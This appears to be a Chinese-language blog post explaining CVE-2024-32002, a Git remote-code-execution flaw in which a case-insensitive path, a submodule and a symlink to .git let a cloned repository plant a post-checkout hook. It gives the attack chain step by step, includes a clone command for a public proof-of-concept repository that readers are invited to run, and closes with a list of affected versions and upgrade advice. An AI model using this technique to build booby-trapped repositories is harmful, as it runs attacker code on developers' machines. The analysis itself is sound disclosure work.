Git嚴重漏洞,遠程執行代碼,Mac和Windows通殺!
不得了了,家人們!
就在這幾天,Git爆出了一個嚴重漏洞,編號CVE-2024-32002,一個可以遠程執行代碼的RCE漏洞!
攻擊者精心準備一個Git項目,只要你嘗試去Clone它,你的電腦就能執行攻擊代碼淪陷。
比如下面這個GitHub上面的項目:
圖片
你可以執行一下下面的命令:
git clone --recursive git@github.com:amalmurali47/git_rce.git
不出意外的話,你的電腦將會彈出計算器程序:
圖片
能讓你彈計算器,就能執行其他更危險的操作,比如給你種木馬等等。
Git是我們程序員基本離不開的工具,這波漏洞操作,屬實是對程序員定向打擊了。
接下來我們來理一理這個漏洞的工作原理是怎么樣的。
在介紹攻擊原理之前,得先來了解幾個東西。
1、Git 鉤子
在Git里面有一個HOOK的機制,就是鉤子的意思。不過這個HOOK不是咱們二進制安全攻擊中的那個HOOK。
Git中的鉤子是一些腳本,這些腳本在Git的特定事件發生時自動執行。鉤子允許你在Git操作的不同階段執行自定義操作,如代碼格式化、測試運行、通知發送等。
Git 設計 hooks(鉤子)的初衷是為了讓用戶能夠在特定的 Git 事件發生時自動執行自定義腳本或操作。這些鉤子提供了一種機制,可以在 Git 操作的各個階段插入用戶自定義的邏輯,以便實現更強大的自動化和定制化流程。
Git鉤子分為服務端和客戶端鉤子,在咱們程序員使用的Git客戶端中,有下面這幾個鉤子:
- pre-commit:在提交之前運行。可以用來檢查代碼格式、運行單元測試等。
- prepare-commit-msg:在提交信息編輯器打開之前運行。可以用來自動生成提交消息模板。
- commit-msg:在提交信息編輯器關閉之后運行。可以用來驗證提交消息的格式。
- post-commit:在提交完成之后運行。可以用來發送通知或執行其他后續任務。
- pre-rebase:在變基操作之前運行。可以用來檢查變基前的狀態。
- post-checkout:在 git checkout 命令執行之后運行。可以用來設置特定文件的狀態。
- post-merge:在合并操作完成之后運行。可以用來重新編譯項目或執行其他合并后的任務。
那這些鉤子腳本是存放在哪里的呢?就是在那個神秘的.git目錄下。
大家可以去看一下自己電腦上,不管是從GitHub克隆的項目,還是從公司的git服務器克隆的項目,你們的代碼目錄下,都有一個叫.git的文件夾,它的目錄結構大致是下面這樣的:
圖片
當我們創建一個新的Git項目時,執行完git init后,git就會為我們創建一個.git目錄。
而我們剛才說的鉤子腳本,就放在.git/hooks里面,git默認為我們提供了一些鉤子腳本的示例。
圖片
你可以在這里面添加一些自己的腳本程序,這樣當你在執行對應的git命令操作時,對應的腳本程序就會得到執行。
要注意,.git目錄下的內容,是git程序自己在維護,不會受到Git項目里的內容的影響。你在上傳代碼的時候,.git目錄也不會被傳到服務器上去。
所以,正常情況下,你從服務器克隆一個項目的時候,只是把項目拉到本地,不用擔心執行惡意的HOOK腳本,因為.git目錄是你本地的git客戶端程序創建的,除非你手動去把鉤子腳本放到里面去,否則里面是不會有惡意鉤子腳本的。
但是,我要說但是了,這一次漏洞的操作就很騷,騷在哪里呢?騷就騷在,它巧妙的利用了一個特性,把攻擊腳本給寫到.git目錄下面去了!
這是怎么辦到的呢?這需要了解另一個Git的知識。
2、子模塊
子模塊是嵌套在一個 Git 倉庫中的另一個 Git 倉庫,可以讓你在一個項目中包含其他項目,比如某個開源項目要依賴于其他的開源項目。
在這種情況下,主項目下面會存在一個.gitmodules文件,里面會記錄該項目包含的其他Git項目的信息。
圖片
其中,path指定子模塊存放的位置,url指定子模塊的Git倉庫地址。
我們在執行git clone克隆項目的時候,如果指定了一個遞歸的參數:--recursive,就會在拉取主項目之后,然后根據這個文件中的內容,遞歸的去拉取所依賴的其他子模塊,然后放到對應的文件目錄位置。
不僅主項目有一個.git目錄來記錄項目相關的信息,子模塊也有。你去上面這個path目錄下去看,會發現這里也有一個.git,不過這個.git不是一個文件夾,而是一個文件,里面記錄了這個子模塊對應的真正的.git目錄的位置。
這個位置一般在主項目.git目錄下的modules文件夾下面。
3、符號鏈接
接下來了解與這個漏洞相關的第三個知識點:符號鏈接。
在 Git 中,符號鏈接(symbolic link,簡稱 symlink)是指向另一個文件或目錄的特殊類型的文件。符號鏈接本身不包含文件的內容,而是包含指向目標文件或目錄的路徑。當訪問符號鏈接時,系統會自動重定向到其指向的目標。
簡單理解的話,這玩意兒有點像快捷方式。
4、漏洞成因
好了,了解了上面這些知識背景,接下來,就要說說這個漏洞的成因了。
剛才說過,鉤子腳本位于.git目錄中,而這個目錄是與項目本身的內容無關的,它的內容是git客戶端在維護,除非你手動放置腳本程序到hooks目錄中,否則項目中的內容是不會跑到.git目錄中的。
而這次漏洞就采用了一個騷操作:
攻擊者準備一個Git項目,在這個Git項目中,又依賴一個子項目。當采用--recursive參數的時候,遞歸去拉取對應的子項目,放到對應的位置。
圖片
就像上面這樣,它指示git,把url中的項目拉下來放到A/modules/x目錄中。
然后騷操作來了:在這個項目下,有一個名字叫a的符號鏈接,并且讓它指向了.git目錄。
圖片
因為Windows和Mac平臺的文件和目錄名稱是大小寫不敏感,注意這點很重要,導致在放置子模塊到A/modules/x的時候,實際上就是放到了.git/modules/x目錄下去了。
Git項目內容寫到.git目錄下了!事情就出在這里了!.git目錄是git程序的私家花園,被項目內容闖了進來!
你可能會問,一定要大小寫不一樣嗎,我直接在.gitmodules文件里面指定讓它寫到小寫的a/modules/x路徑下不行嗎?
還真不行,我試過了,git直接報錯了:
圖片
看來,git基本的檢查工作還是做了的,只是疏漏了大小寫不一樣的情況。
繼續我們剛剛的分析,.git目錄這個git程序的私家花園,被人給闖進來了。
而且關鍵是它闖進來的位置是在.git/modules/x下面,前面說過,這個目錄下面,是子模塊所屬的.git目錄,然后這個闖進來的家伙,還按照.git目錄的結構,里面放置一個hooks文件夾,里面放上相關的鉤子腳本,等下git clone完成的時候,就會去執行這里的腳本程序了。
圖片
克隆完成之后的整個目錄結構變成了這樣:
圖片
圖片
我用procmon抓了一下執行下面這條克隆命令到彈出計算器進程中間的過程:git clone --recursive git@github.com:amalmurali47/git_rce.git
大家從進程的父子關系樹和進程的命令行參數,就能看到這條攻擊鏈路了:
圖片
最后總結一下:
1、攻擊者精心構造了一個Git項目,這個項目依賴一個子項目,并且指定了這個子項目存儲的路徑為A。
2、在這個Git項目下,有一個名為a的符號鏈接,指向了.git目錄。
3、子項目里面構造了一個hooks目錄,攻擊腳本存放在里面。
4、最后,遞歸克隆項目的時候,因為目錄大小寫不敏感的原因,子項目實際上被寫到了.git目錄下。
5、相關的克隆動作,觸發了post-checkout鉤子的執行,而現在的hooks目錄下,被寫入了攻擊者的惡意鉤子腳本,于是就執行了這個惡意腳本。
Windows:
圖片
Mac:
圖片
以上就是本次漏洞的大致過程了。
本次漏洞受影響的版本有:
- v2.45.0
- v2.44.0
- <=v2.43.3
- <=v2.42.1
- v2.41.0
- <=v2.40.1
- <=v2.39.3
趕緊來執行git --version看看你的版本有沒有在上面的范圍里,是的話趕緊升個級吧!